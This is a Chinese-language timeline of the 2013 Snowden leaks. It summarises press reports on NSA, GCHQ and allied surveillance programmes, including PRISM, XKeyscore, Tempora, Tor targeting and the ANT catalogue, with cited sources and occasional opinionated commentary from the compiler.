2013年6月7日：第二批斯诺登泄漏文件刊出，揭示奥巴马命令他的高级国家安全和情报官员制定*海外网络攻击目标清单*。

这份18页的“总统政策指令”于2012年10月推出，但从未对外公布过，该指令声称所谓的进攻性网络效应行动（OCEO）“能够提供独特的非常规能力，在世界各地推进美国的国家利益，几乎没有警告过其具有从微妙到严重破坏等一系列潜在的影响“。

它表示政府将“确定具有国家重要性的潜在目标，其中 OCEO 可以提供与其他国家权力工具相称的有效性和风险的有利平衡”。

该指令还考虑了在美国境内可能使用的网络行为，但它规定，除非是紧急情况，否则在没有总统事先命令的情况下不能在国内进行此类行动。[Guardian: Obama orders US to draw up overseas target list for cyber-attacks]

线人无国界——

2013年6月8日：显然，NSA 有一个工具可以记录和分析间谍机构在世界各地收集的所有数据流，这是一个全球数据挖掘软件，详细说明了收集了多少情报、及其类型和来自世界上的哪个国家。

这就是 “Boundless Informant” 。根据该计划的NSA资料单，该工具允许其使用者在地图上选择国家/地区 并查看元数据据、及选择有关该国家/地区的详细信息。[Boundless Informant: NSA explainer—full document text]

顶级通讯指出，来自 BOUNDLESSINFORMANT 的截图可能会产生误导性。[Screenshots from BOUNDLESSINFORMANT can be misleading]

——有一个NSA / CIA 的混合机构吗——

「图」

媒体引用一些所谓的情报“内部人士”称他们质疑国家安全局举报人爱德华·斯诺登参与的国家安全局（NSA）信号情报和元数据挖掘计划，如 PRISM 和 CIA 的人工情报（HUMINT）行动。

然而，美国情报部门“内部人士”可能正在尽力掩盖一些名为特别收集服务（SCS）的鲜为人知的混合 NSA-CIA 组织的运作，该组织在美国国家安全局内部被称为“F6”，这是总部位于马里兰州贝尔茨维尔的一座看似普通的办公楼，在斯普林菲尔德路的前车道上有一个带有“CSSG”字母的标志。

与CSSG大楼相邻的是国务院的 Beltsville Communications Annex，国务院内部称为 SA-26，也是外交电信服务的一部分，该处还负责处理全球中央情报局站点的加密通信。[There is an NSA/CIA hybrid agency That May Explain Snowden’s Involvement in SIGINT and HUMINT]

——Snowden leaks——

「图」

美国和英国监视外国外交官——

2013年6月16日：英国顶级情报机构 GCHQ 在20国集团首脑会议上截获了外国政界人士的通讯；2009年对在伦敦参加两次G20峰会的外国政界人士和官员的电脑进行了监控，并根据英国政府的指示拦截了这些政界官员的电话。卫报获取的文件显示。一些政界代表被欺骗使用由英国情报机构设立的免费上网服务来阅读他们的电子邮件，于是他们的数据被拦截。[Guardian: GCHQ intercepted foreign politicians' communications at G20 summits]

2013年6月16日：泄露的文件摘录中描述了该机构"最近的成功"。[GCHQ surveillance—the documents]

绝密规则——

2013年6月20日：允许 NSA 在没有逮捕令的情况下使用美国数据的绝密规则曝光。提交给监视监督法院的美国情报机构最高机密文件显示，法官签署了广泛的命令，允许 NSA 使用任何从美国国内通信中"无意中"收集到的信息。文件显示，即使是管理从外国目标收集外国情报的当局，仍然可以对美国国内目标进行收集、保留和使用。[The top secret rules that allow NSA to use US data without a warrant]

GCHQ窃听光纤电缆——

2013年6月21日：揭露显示 GCHQ 窃听光纤电缆秘密访问世界通信。英国间谍机构 GCHQ 秘密进入了传输全球电话和互联网流量的电缆网络，并开始处理大量敏感的个人信息流，是与其美国合作伙伴国家安全局（NSA）共享的信息。

该机构雄心勃勃的规模反映在其两个主要组成部分的标题中：掌握互联网和全球电信，旨在尽可能多地挖掘在线和电话流量。

这一切都是在没有任何形式的公开承认或辩论的情况下进行的。一个关键的创新是 GCHQ 能够利用和存储从光纤电缆中提取的大量数据长达30天，以便对其进行细致的筛选和分析。这项代号为 Tempora 的行动直到揭露时已持续了18个月。[GCHQ taps fibre-optic cables for secret access to world's communications]

Stellar wind——

2013年6月27日卫报：美国国家安全局关于 Stellar Wind 计划下电子邮件和互联网数据收集的总检查报告被揭露。美国国家安全局检察长 2009 年的绝密报告草案显示，根据布什指示开展的“大量互联网元数据收集”计划蓬勃发展。[NSA inspector general report on email and internet data collection under Stellar Wind—full document]

对欧洲的间谍活动——

2013年6月29日 Der Spiegel：资料显示，美国国家安全局（NSA）不仅对欧洲公民进行了在线监控，而且，似乎还专门针对欧盟机构的部门。 2010年的“绝密”文件描述了秘密服务如何攻击欧盟在华盛顿的外交代表。

该文件表明，除了在华盛顿特区市中心的建筑物中安装窃听器外，欧盟代表处的计算机网络也被渗透。通过这种方式，美国人能够访问欧盟会议室的讨论、以及计算机上的电子邮件和内部文档。[Der Spiegel: Attacks from America: NSA Spied on European Union Offices]

2013年6月30日 Der Spiegel：内部 NSA 统计数据显示该机构每月存储德国约5亿通信相关的数据。这些数据包括电话、电子邮件、手机短信和聊天记录。然后将元数存储在华盛顿特区附近的 Fort Meade 的 NSA 总部。[Der Spiegel: NSA Snoops on 500 Million German Data Connections]

老大哥在法国——

2013年7月4日：如果你认为关于美国间谍活动 Prism 的揭露引起了欧州尤其是法国的愤慨，很可能没全对，揭露只引起了微弱地抗议。这背后的原因出于两个显而易见的理由：巴黎已经意识到这种事了，并且，他们在做着同样的事⚠。

世界报透露，法国外部安全总局（DGSE，特殊服务）经常收集法国计算机或电话发出的电磁信号，以及法国和外国之间的通信流量：“我们所有的通信都被窥探了。所有邮件、短信、电话记录、Facebook，Twitter …… 然后被存储很多年。”[Le Monde: Révélations sur le Big Brother français]

老大哥在澳大利亚——

2013年7月6日：由斯诺登泄露并由美国记者 Glenn Greenwald 在巴

西 O Globo 报上发布的美国国家安全局机密地图，揭示了数十个美国和盟国*信号情报*收集站点的位置，这些站点有助于拦截全世界的电信和互联网流量。[EUA expandem o aparato de vigilância continuamente]

位于爱丽斯泉附近 Pine Gap 的美国澳大利亚联合防御设施和三个澳大利亚信号局设施：附近的 Shoal Bay 接收站，Geraldton 的澳大利亚国防卫星通信设施，和堪培拉以外的海军通信站 HMAS Harman，也是代号为 **X-Keyscore** 的 **NSA** 大规模收集计划的参与者之一。[The Sydney Morning Herald: Australia aids in covert data collection]

老大哥在拉美——

2013年7月6日：美国国家安全局被揭露的文件很有说服力。巴西，由大型电信和互联网公司广泛经营的数字化公共和专用网络，凸显了美国机构作为电话和数据流量共享的优先目标（始发地和目的地）的地图，沿着像中国、俄罗斯、伊朗和巴基斯坦这样的国家。

在巴西被监视的人数和监视公司的数量尚不确定。但有证据表明，过滤系统在本地电话和互联网上捕获的数据量是恒定的且大规模的。[O Globo: EUA espionaram milhões de e-mails e ligações de brasileiros]

2013年7月6日：美国除了在巴西之外，还在拉丁美洲的其他几个国家开展间谍活动和跟踪计划。GLOBO 可以访问的国家安全局（NSA）机密文件显示，墨西哥、委内瑞拉、阿根廷、哥伦比亚、和厄瓜多尔等地，也出现了类似情况。

文件中强调的一个方面是，美国似乎不仅对军事问题感兴趣，而且对商业秘密感兴趣。根据美国国家安全局2013年上半年制作的一份清单显示，委内瑞拉的“石油”和墨西哥的“能源”都在重点目标上。[O Globo: Espionagem dos EUA se espalhou pela América Latina]

解释 **PRISM** 数据收集计划——

2013年7月10日：绝密的 PRISM 计划允许美国情报界从九家互联网公司获取对在美国境外运营的外国目标的各种数字信息，包括电子邮件和存储数据。该计划已获得法院批准；并且，它在更广泛的授权下运作，联邦法官负责监督“外国情报监视法”（FISA）的使用。

一些描述该计划的文件是斯诺登泄露的首批文件之一。此后发布的文件提供了有关该计划如何运作的更多细节，包括 NSA 和 FBI 的审查和监视控制水平。这些文件还显示了该计划如何与互联网公司互动——简单说，这些巨头公司都是*军事工业综合体*的一部分，IYP 分类知识列表中有相应的类目。[Washington Post: NSA slides explain the PRISM data-collection program]

——CIA 的新黑袋是数字化的——

「图」

2013年7月17日：中央情报局的秘密服务现在代表美国国家安全局进行了这类黑袋行动，但这次是以从冷战高峰期以来没有出现过的节奏。

此外，这些任务，以及中央情报局技术收集办公室开展的一系列并行信号情报（SIGINT）收集行动，已被证明有助于促进和改善自9/11以来的国家安全局的信号情报收集工作。

在过去十年中，受过专门训练的 CIA 秘密运营商已经部署了一百多个非常敏感的黑袋行动，旨在渗透外国政府的军事通信和计算机系统，以及一些世界上最大的外国跨国公司的计算机系统。

间谍软件已秘密植入计算机服务器；安全电话线已被窃听；光纤电缆、数据交换中心、和电话交换机，已被渗透；在这些操作中，数据备份磁盘被盗或被秘密复制。换句话说，中央情报局早已成为建立阴影监视大撒网的工具，直到现在这些秘密活动才被投入公众视野。

美国情报界的消息来源证实，自9/11以来，中央情报局的秘密行动使国家安全局能够进入世界各地的一些新的和极其重要的目标，特别是在中国和东亚其他地区，以及中东、近东和南亚等地（我不知道在美国自己的土地上有没有这样的行动）[Foreign policy: The CIA’s New Black Bag Is Digital]

——Snowden leaks——

「图」

德国情报机构使用 **NSA** 间谍程序——

2013年7月20日，Der Spiegel：德国的外国情报机构 BND 及其国内

情报机构联邦宪法保护办公室（BfV）均使用了美国国家安全局（NSA）的间谍计划。

文件显示，保护宪法办公室配备了一个名为 XKeyScore 的计划，旨在“扩大他们支持国家安全局的能力，因为我们共同针对 CT（反恐）目标。”文件说，BND 的任务是指导国内情报机构如何使用该计划。

根据 2008 年的内部 NSA 文件的介绍，该计划是一种富有成效的间谍工具。文档显示，从元数据开始，而且不仅于此—— 例如，它能够追溯显示目标人员在搜索引擎中输入的任何文字，即便没有发布。此外，该系统能够在几天的时间内“完全接收”所有未过滤的数据—— 至少部分地包括通信内容。

从德国的角度来看，这是相关的，因为文件显示，在 NSA 每月访问的德国多达5亿个数据连接中，主要部分是通过 XKeyScore 计划收集的（例如，2012年12月的约为1.8亿）。BND 和 BfV 拒绝讨论间谍工具；美国国家安全局也拒绝发表评论，转而谈到美国总统巴拉克奥巴马访问柏林期间的讲话，并说没有什么可补充的。[Der Spiegel: German Intelligence Used NSA Spy Program] [Obama Visit Highlights ‘Genuine Trans-Atlantic Dissonance’]

最臭名昭著的计划之一 **XKeyscore——**

2013年7月31日，Der Spiegel：根据举报人爱德华·斯诺登提供的文件，一个绝密的国家安全局计划允许分析师通过包含电子邮件、在线聊天、和数百万人的浏览历史记录的大量数据库，进行搜索。美国国家安全局在培训材料中称，该项目名为 XKeyscore，是其“最广泛的”系统，用于从互联网上发展情报。[XKeyscore: NSA tool collects ‘nearly everything a user does on the internet’]

美国间谍头子 **NSA** 资助英国间谍头子 **GCHQ——**

2013年8月1日，“卫报”：美国政府在过去三年中向英国间谍机构 GCHQ 支付了至少1亿英镑，以确保访问和影响英国的情报收集计划。

这笔资金突显了 GCHQ 与其美国同等机构国家安全局之间的密切关系。但这将引发人们对华盛顿控制英国最大和最重要的情报机构之事实感到担忧，以及英国对国家安全局的依赖程度是否已经过大。[The Guardian: NSA pays £100m in secret funding for GCHQ]

Lavabit 和 Silent Circle 的关闭——

2013年8月8日：泄露了 NSA 备受争议的 PRISM 监控计划细节的举报人爱德华•斯诺登（Edward Snowden）据称使用了一种名为 Lavabit 的安全电子邮件服务。而此后，Lavabit 突然关闭，其所有者称这是一个艰难的决定。 Ladar Levison 表示，他正在关闭这项服务，以避免成为“对美国人民犯罪的同谋”。[The Verge: Email service used by Edward Snowden abruptly shuts down, to avoid ‘crimes against the American people]

2013年8月8日：“我们知道 USG 将会打到我们头上”。这就是为什么 Silent Circle 首席执行官 Michael Janke 告诉 TechCrunch 他的公司关闭了 Silent Mail 加密电子邮件服务。这是 Lavabit 前车之鉴的后果。[Silent Circle Preemptively Shuts Down Encrypted Email Service To Prevent NSA Spying]

——Snowden leaks——

「图」

审计署发现 NSA 多次违反隐私法——

2013年8月15日：根据华盛顿邮报获得的一项内部审计，美国国家安全局违反了隐私法，并在国会在2008年扩大了该机构的权力范围后，每年在其法律权限之外运营数千次。

美国国家安全局于2012年5月提交的审计报告显示，该机构非法收集、访问或分发了本应该受法律保护的通信，这是斯诺登提交给邮报的证据。[Al Jazeera: Audit finds NSA repeatedly broke privacy law]

NSA每年非法收集数以千计的电子邮件——

2013年8月21日：国家安全局（NSA）解密了三个秘密法庭意见，显示其监控计划如何在连续三年内每年收集多达56,000封电子邮件和其他与恐怖主义完全无关的电子邮件。这一最新发现得到了国会议员和隐私权组织对美国情报机构的严厉批评。

国家情报局局长詹姆斯克拉珀授权发布的意见表明，当美国国家安全局报告其2011年“无意中“收集美国互联网流量时，外国情报监视法院命令该机构找到方法限制收集的内容以及保留的时间。[Al Jazeera:

NSA illegally collected thousands of US emails annually]

——封口——

「图」

2013年8月23日：“独立报”了解到，“卫报”同意政府要求的禁止发布斯诺登文件中包含的任何材料。 [...]但政府担心记者 Glenn Greenwald 仍然可以访问这些文件，并发布这些文件。[The Independent: UK’s secret Mid-East internet surveillance base is revealed in Edward Snowden leaks]

Glenn 通过卫报回复：美国国家安全局的举报人说：“我从未与独立人士交谈，合作或提供任何新闻资料”。[Snowden: UK government now leaking documents about itself]

——Snowden leaks——

「图」

互联网是间谍、破坏和战争的主场——

2013年8月29日：斯诺登（Edward Snowden）向华盛顿邮报泄露2013年财政年度美国情报预算，揭露美国间谍机构的“盲点”，其中关于国家安全问题的信息仍然很少。

尽管有大量的支出和广泛的监视网络和国际间谍设施，但据报道，该预算解释说许多关键的国家安全问题仍然无从解决。例如在在大马士革涉嫌化学武器袭击可能造成多达1300人死亡的一周多之后，关于生物和化学武器的证据依旧没有得到。[Al Jazeera: Snowden leaks intelligence ‘black budget’ to Washington Post]

2013年8月30日：根据“华盛顿邮报”获得的绝密文件，美国情报机构在2011年开展了231次攻击性网络行动，这是一项秘密运动的前沿，该运动将互联网视为间谍、破坏和战争的场所。

在斯诺登（Edward Snowden）提供的机密情报预算中，提供了新的证据，表明奥巴马政府不断增长的网络战士队伍高度渗入并破坏了外国计算机网络。[Washington Post: U.S. spy agencies mounted 231 offensive cyber-operations in 2011, documents show]

美国国家安全局间谍半岛电视台的通信——

2013年8月31日：[...]除了破解俄罗斯航空公司 Aeroflot 的航班预订服务外，渗透 “半岛电视台的内部通信”也被列为了“显著成功”，该文件显示。国家安全局表示，这些选定的目标具有“作为情报来源的巨大潜力”。

根据该文件，截获的加密信息被转发给国家安全局部门进行进一步的分析，该文件没有透露情报机构在多大程度上监视正规媒体公司的记者或管理人员，或监视是否仍在进行中。

以前的文件也没有说明媒体是如何被国家安全局监视的。但随着更多信息的出现，有充分的证据显示，该组织对电话和互联网通信的国际监控的大范围一直在继续增长。[Der Spiegel: NSA Spied On Al Jazeera Communications]

掩盖用于针对美国人的监视，与法官合谋——

2013年8月：一个秘密的美国缉毒局（DEA）部门正在向全国各地的当局提供情报拦截、窃听、举报人资料、和大量电话记录数据库的信息，以帮助他们对美国人进行“刑事调查”。

虽然这些案件很少涉及国家安全问题，但路透社审查的文件显示，执法人员已被指示隐瞒此类调查的真正开始—— 指示不仅来自辩护律师，有时甚至也来自检察官和法官⚠。

未注明日期的文件显示，联邦特工接受培训，以“重新创造”调查线索，目的是有效掩盖信息来自哪里，一些专家认为这种做法违反了被告被宪法授予的公正审判权。因为如果被告不知道调查是如何开始的，他们就不知道可以审查无罪证据的潜在来源—— 这一审查可能揭示陷阱、错误或有偏见的证人信息。[U.S. directs agents to cover up program used to investigate Americans]

以巴基斯坦为目标——

2013年9月1日：价值 526 亿美元的美国情报机构计划主要针对明确的对手，包括基地组织、朝鲜和伊朗。但是，绝密的预算文件显示出同样值得强烈关注一个美国盟友：巴基斯坦。

在这么多类别的所谓国家安全问题上，没有任何其他国家能够受到如此多的审查。

一份长达178页的美国情报界“黑色预算”摘要显示，美国加强了对巴基斯坦核武器的监视，引用了此前对该国生物和化学记录的未公开担忧，并详细说明了评估中情局招募的反恐来源之忠诚度的努力。[September 2, 2013: Washington Post: Top-secret U.S. intelligence files show new levels of distrust of Pakistan]

巴西和墨西哥——

2013年9月1日：美国国家安全局对巴西总统 Dilma Rousseff 和墨西哥总统 Peña Nieto（当时的候选人）进行了间谍活动。该机构使用 Mainway，Association 和 Dishfire 计划从其庞大的全面数据库中提取了领导者的通信。[O Globo:Documentos revelam esquema de agência dos EUA para espionar Dilma] [Veja os documentos ultrassecretos que comprovam espionagem a Dilma]

2013年9月2日：美国间谍在巴西的主要目标之一是远离海岸线的权力中心—海浪深处。巴西石油。巴西石油巨头巴西国家石油公司（Petrobras）的内部计算机网络部分归国家所有，它一直受到美国国家安全局（NSA）的监视。 [……]这些新的披露与美国国家安全局声称的“没有为经济目的进行间谍活动”的言论相矛盾。[NSA Documents Show United States Spied Brazilian Oil Giant]

与无人机作战——

2013年9月3日：基地组织指挥官希望技术突破可以遏制美国的无人机战役，这些无人机在过去十年中已造成约3000人丧生。空袭迫使基地组织成员和其他武装分子采取极端措施限制他们在巴基斯坦、阿富汗、也门、索马里和其他地方的行动。

但是，无人机袭击也对平民造成了沉重的打击，引发了人们对美国对这些国家政策的强烈反对。 […] 2010年7月，美国间谍机构拦截了电子通讯，表明基地组织的高级领导人向世界各地的操作人员分发了一份“战略指南”，告知他们如何“预测和击败”无人驾驶飞机。

美国国防情报局（DIA）报道，基地组织正在赞助同步研究项目，以开发干扰器、干扰无人机运营商依赖的 GPS 信号和红外标签，以确定导弹目标。 […]

无人机的技术脆弱性并不是秘密。两年前，美国空军科学顾问委员会发布了一份非机密报告，警告阿富汗等国家“越来越有能力”可以通过发明廉价的对策来威胁无人机行动。[Washington Post: U.S.

documents detail al-Qaeda's efforts to fight back against drones]

破坏互联网上的加密——

2013年9月5日：美国国家安全局已经破解了数百万人每天用于安全电子邮件、电子商务、金融交易等行为的加密方法。

美国国家安全局维护着一个万能解密密钥的数据库—— 有些可能是从私营公司窃取的，并与巨头科技公司合作，将后门植入消费产品中；美国一直在致力于削弱国际加密标准；英国间谍机构GCHQ在科技公司中安插了秘密特工。[一、二、三、四、五、六、七]

NSA间谍智能手机——

2013年9月7日：美国国家安全局情报收集行动能够通过所有领先的制造商的智能手机访问用户数据。

NSA文件指出，NSA 可以利用 Apple iPhone，BlackBerry 设备和 Google 的 Android 移动操作系统漏洞。这些文件指出，NSA可以窃取这些智能手机上保存的大多数敏感数据，包括联系人列表、短信流、笔记、和用户所在位置的各种数据。

这些文件还表明，国家安全局已经建立了专门的工作组来处理针对每个操作系统的间谍活动，其目的是获取对电话上保存的数据的秘密访问权限。[Der Spiegel: Privacy scandal: NSA can spy on smart phone data][Der Spiegel: iSpy: How the NSA accesses smartphone data]

Flying pig——

2013年9月10日：有消息称可以确认美国国家安全局和其他机构正在使用这种 MITM 攻击，但是要确认他们正在对谷歌、雅虎和微软等公司进行攻击，则是一件大事—— 而我可以想象不会让这三家公司中的任何一家特别开心。

正如 Ryan Gallagher 指出的那样：在某些情况下，*GCHQ* 和国家安全局似乎采取了更积极和有争议的路线—— 至少有一次通过执行中间人攻击来冒充谷歌安全证书。

Fantastico 发布的一份文件显然是从 *NSA* 演示文稿中获得的，该演示文稿也包含一些 *GCHQ* 的幻灯片，描述了"如何完成攻击"以窥探 *SSL* 流量。该文档以图表形式说明了其中一个代理商是如何攻击目标的互联网路由器并使用虚假安全证书隐蔽地重定向目标 *Google* 流量，因

此它可以以未加密的格式拦截信息。[Techdirt Flying Pig: The NSA Is Running Man In The Middle Attacks Imitating Google's Servers]

Mike Masnick: **Schneier** 还指出，这与中国人用于防火墙的技术基本相同⚠。换句话说，电信公司的同谋性质基本上让 NSA 和 GCHQ 拥有极其强大的特权可以访问骨干网，这是允许他们进行这类中间人攻击的关键原因之一。

然而，令我感到惊讶的是，对所有这些主要电信公司的作用并没有引发更多的公众愤怒。[How The NSA Pulls Off Man-In-The-Middle Attacks: With Help From The Telcos]

——Snowden leaks——

「图」

NSA与以色列共享数据——

2013年9月11日：文件显示，与以色列分享的情报如何完全不会被美国国家安全局分析师提前过滤掉美国本土的通信（这是卖国行为）。[The Guardian: NSA and Israeli intelligence: memorandum of understanding—full document]

文件显示 **NSA** 广泛参与有针对性的杀戮计划——

2013年10月16日：美国政府从未公开承认杀害 Ghul。但前国家安全局承包商爱德华·斯诺登向华盛顿邮报提供的文件证实了他于2012年10月去世，并透露，该机构广泛参与有针对性的杀戮计划，该计划是奥巴马总统所谓的"反恐战略"的核心。

他是基地组织成员。他于2004年被捕，然后在中央情报局的秘密监狱里度过了两年。然后，在2006年，美国将他送到他的家乡巴基斯坦，在那里他被释放并返回基地组织。

但除了填补关于 Ghul 的事件空白之外，这些文件还提供了中央情报局和国家安全局在无人机杀戮活动中进行复杂合作的最详细说明。[Documents reveal NSA's extensive involvement in targeted killing program]

NSA 监控金融世界——

2013年9月16日："金钱是所有邪恶的根源，"情报人员半开玩笑地

说。根据机密文件，间谍活动主要集中在非洲和中东等地区—— 他们的努力往往侧重于其法律情报收集任务范围内的目标。

然而，在金融部门，正如在其他领域一样，国家安全局也依赖于最大限度的数据收集—— 这种方法显然会导致与国家法律和国际协议的冲突。

根据英国政府通信总部（GCHQ）发布的一份文件显示，情报界的一些成员甚至认为全球金融系统中的间谍活动引起了一定程度的关注，该文件涉及“财务数据”。从法律角度考察组织与NSA的合作。

根据该文件，“政治敏感”数据的收集、存储和共享是一种高度侵入性的措施，因为它包括“大量数据—— 丰富的个人信息。其中许多并不是关于调查目标的。”

事实上，秘密文件显示，主要的国家安全局金融数据库 Tracfin，专门收集银行转账、信用卡交易和汇款的“追随金钱”监控结果，到2011年已经拥有1.8亿个数据集。2008年的相应数字仅为2百万。根据这些文件，大多数 Tracfin 数据已经被存储了长达五年。[Der Spiegel: ‘Follow the Money’: NSA Monitors Financial World]

GCHQ 黑入 belgacom——

2013年9月20日：该演示文稿未注明日期，但另一份文件显示自2010年以来该文件就可以访问。该文件显示，Swisscom 与南非 MTN 的合资公司 Belgacom 的子公司 Bics 受到了英国间谍的关注。

Belgacom 的主要客户包括欧盟委员会、欧洲理事会、和欧洲议会等机构，在美国国家安全局（NSA）被披露有关间谍活动的消息后，下令对其进行了内部调查，并确定其已成为攻击目标。该公司随后将此事件提交给比利时检察官。被被比利时总理严厉谴责“缺乏诚信”。

当网络攻击首次出现在新闻中时，比利时的怀疑最初是针对国家安全局的。但该报告表明，比利时自己的欧盟伙伴—— 英国也参与其中，尽管该报告表明，英国人使用间谍技术进行的是国家安全局计划的运作。

根据 GCHQ 演示文稿中的幻灯片，攻击是针对几名 Belgacom 员工的，并涉及高度发达的攻击技术，称为“量子插入”（“QI”）。[Der Spiegel: Belgacom Attack: Britain’s GCHQ Hacked Belgian Telecoms Firm]

‘间谍印度领导人——

2013年9月23日：在美国国家安全局（NSA）秘密监控计划所针对的收集电话数据和互联网记录的国家名单中，印度是排在第一位的被美国间谍机构窥探的目标。

根据斯诺登提供的文件，美国机构至少使用了两个主要程序在印度开展情报收集活动：第一个是 Boundless Informant，一个数据挖掘系统，记录有多少电话和电子邮件需要被收集；第二个是 PRISM，一个拦截和收集网络实际内容的程序。

虽然 Boundless Informant 用于监控印度的电话和互联网接入，但是，PRISM 通过谷歌、微软、Facebook、雅虎、苹果，YouTube、和其他一些基于网络的服务收集了与恐怖主义完全无关的特定问题的信息。[The Hindu: India among top targets of spying by NSA]

NSA 无人机文件——

2013年9月25日：NSA无人机文件—精选摘录发布。[The Guardian: NSA drone document—selected excerpts] 将反无人机的激进主义均视为“恐怖主义威胁”的指示是非常有害的。正如 Reprieve 的 Cory Crider 所指出的那样，“英国正在滥用其反恐权力来镇压批评者”。[UK detention of Reprieve activist consistent with NSA’s view of drone opponents as ‘threats’ and ‘adversaries’]

Minaret——

2013年9月25日：多年来，监视目标的名称一直被保密着。但在机构间小组作出决定后，为响应乔治华盛顿大学国家安全档案馆的上诉，国家安全局首次将其解密。

美国国家安全局的目标之多令人大跌眼镜—— 民权领袖马丁·路德·金和惠特尼·杨，被列入了重点监视名单，拳击手穆罕默德·阿里、“纽约时报”记者汤姆·维克、以及资深华盛顿邮报幽默专栏作家布赫瓦尔德，也都在重点监视名单里⚠。

这还不是全部。也许解密文件中最令人吃惊的事实是，国家安全局的任务是监控两位著名的国会议员：参议员 Frank Church（D-Idaho）和参议员 Howard Baker（R-Tenn）的海外电话和电报流量。 ……

关于美国国家安全局国内窃听事件的揭露令人震惊，并且这是史上第一次有确凿的证据证明今天的情信号报部队采取了这样的措施来监视

白宫的政治敌人。

随着越南战争在 Lyndon B. Johnson 总统任期内升级，国内一直充斥着批评和抗议活动。抗议者在1967年秋天包围了五角大楼，两年后有组织的示威活动暂停了越南战争。

社会异议的庞大规模激怒了约翰逊以及他的继任者理查德尼克松。他们想知道国内抗议活动是否与“敌对外国势力”有关（这句话是不是听起来非常耳熟？），他们希望得到情报界的答复。

中央情报局以混沌行动作为回应，而国家安全局与其他情报机构则合作编制了著名的反战评论家监视黑名单，以监视其海外通讯。到1969年，这一定位间谍行动被正式命名为“Minaret ”。[Foreign Policy Investigation: Secret Cold War Documents Reveal NSA Spied on Senators]

——Snowden leaks——

「图」

美国国家安全局描绘美国公民的社会网络——

2013年9月28日：N.S.A的 Domint 文件已经发布，该文件图解了美国公民社交网络连接关系。[NY Times: Documents on N.S.A. Efforts to Diagram Social Networks of U.S. Citizens]

根据最新披露的文件，自2010年以来，国家安全局一直在利用其庞大的数据集来创建一些美国人社交关系的复杂图表，这些图表可以识别他们的同事、他们在特定时间的位置、旅行伴侣、和其他个人信息。

该间谍机构于2010年11月开始允许分析电话和电子邮件日志，以便在 N.S.A. 之后检查美国人的外国人际网络连接关系。根据 Snowden 提供的文件，官方取消了对这种做法的限制。[NY Times: N.S.A. Gathers Data on Social Connections of U.S. Citizens]

存储元数据——

2013年9月30日：机密文件显示，NSA存储长达一年的数百万网络用户的元数据—— 无论所涉及的人是否为该机构感兴趣的人。

元数据提供用户在线进行的几乎任何动作的记录，从浏览历史记录（例如地图搜索和访问过的网站）到帐户详细信息，电子邮件活动，

甚至一些帐户密码，这可以构建个人私密生活的完整图景。更多详见 IYP 的分析《无处可藏的数字足迹—— 亦正亦邪元数据 (上篇)》《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇)》

奥巴马政府一再表示，国家安全局“只保留其故意瞄准的人”的信息和通信内容—— 但是，泄漏的内部文件显示，该机构保留了大量无辜人的元数据。《 The Guardian: NSA stores metadata of millions of web users for up to a year, secret files show 》

NSA攻击Tor——

2013年10月4日：在线匿名网络 Tor 是国家安全局的高优先级目标。攻击 Tor 的工作由 NSA 的应用程序漏洞分支完成，该分支是系统情报理事会或 SID 的一部分。大多数 NSA 员工都在 SID 工作，SID 的任务是从世界各地的通信系统收集数据。

根据斯诺登提供的绝密 NSA 演示，NSA 开发的一项成功技术涉及利用 Tor 浏览器套装，这是一系列旨在使人们能够轻松安装和使用的程序。间谍部门通过该技术确定 Tor 用户后对他们的 Firefox 网络浏览器执行攻击。 NSA 将这些功能称为 CNE 或“计算机网络利用”。《Attacking Tor: how the NSA targets users’ online anonymity 》

——Snowden leaks——

「图」

加拿大的 **CSEC** 监视巴西的矿业和能源部——

2013年10月6日：斯诺登泄露的文件显示，这一次的目标是矿业和能源部。而且不只是美国参与其中。来自该部的计算机、固定电话、和手机的通信由加拿大的间谍机构拦截监视。[O Globo: Ministério de Minas e Energia está na mira de espiões americanos e canadenses]

NSA信息过载——

2013年10月14日：美国国家安全局每年从雅虎、Gmail、和 Facebook 等服务中收集超过2.5亿个电子邮件收件箱视图和联系人列表。它从承载电话和互联网流量的光纤电缆中批量收集数据。收集点在美国之外，因此没有法律规定美国国家安全局必需过滤掉美国人的数据。[The Washington Post: NSA collects millions of e-mail address books globally] [Apps Washington Post: The NSA’s

problem? Too much data.] [Apps Washington Post: SCISSORS: How the NSA collects less data] [Apps Washington Post: An excerpt from the NSA's Wikipedia]

秘密间谍部门正在做国家安全局的肮脏工作——

2013年11月：随着每一次新的泄漏，全世界都会更多地了解美国国家安全局的大规模和有争议的监视设备和计划。联邦调查局的一个模糊的、秘密的部门，即使对于监视机构本身来说，也一直保持着低调。

但是联邦调查局不仅仅是在做美国最大的情报机构的差事。它执行自己的信号情报操作，并试图收集美国巨头公司掌握的大量电子邮件和互联网数据。[Spy Copters, Lasers, and Break-In Teams How the FBI keeps watch on foreign diplomats]

FBI 信号情报活动的核心是一个名不见经传的组织，称为"数据拦截技术部门"，即 DITU（发音为 DEE-too）。在国会的证词中几乎没有讨论过该部门。斯诺登向记者提供的 NSA PowerPoint 演示文稿暗示了 DITU 在 NSA 的 Prism 系统中的关键作用—— 它在流程图上只显示为一个不起眼的方框，显示的是如何收集NSA"要求的"信息，由 DITU 收集和交付。

NSA 跟踪全球手机的位置——

2013年12月4日：根据绝密文件和对美国情报官员的采访了解到，国家安全局每天收集近50亿条关于全球手机行踪的记录，使该机构能够跟踪几乎所有个人的行动—— 以及以他们以前无法想象的方式绘制他们的人际关系。[NSA tracking cellphone locations worldwide, Snowden documents show]

ACLU 创建了 Meet Jack：或者 政府可以对所有位置数据做些什么。[Meet Jack. Or, What The Government Could Do With All That Location Data]

——划时代的真相泄漏——

「图」

NSA的**TAO**部门——

2013年12月29日：美国国家安全局的 TAO 黑客部门被认为是情报机构的绝密武器。它维护着自己的隐蔽网络，渗透到世界各地的计算机中，甚至拦截运输途中的电子设备对其安装后门。[NSA’s “Tailored Access Operations” Elite Hacking Unit Revealed]

几乎所有主要软件/硬件/固件的**ANT**部门目录——

2013年12月30日：情报机构可以通过后门访问电子设备事实上是人们多年前就开始猜测的，被揭露的内部NSA目录显示了这些方法已经存在于众多终端用户设备中。[Leaksource: NSA’s ANT Division Catalog of Exploits for Nearly Every Major Software/Hardware/Firmware]

——有组织犯罪的渗透和破坏——

「图」

2014年1月11日：像这样令人震惊的故事警告的是，我们的系统安全性需要考虑到当局腐败、草率或欺骗的可能性。

法律赋予警察和治安官无上的权力，存储大量的DNA数据库，允许秘密法庭和无证监视，创建不负责任的审查制度，间谍狂奔，正因为它被法律授权了，于是可能永远无法被纠正。[BoinBoing Total corruption: Organised crime infiltrated and compromised UK courts, police, HMRC, Crown Prosecution Service, prisons, and juries]

——多利益相关方全球（互联网）治理？——

「图」

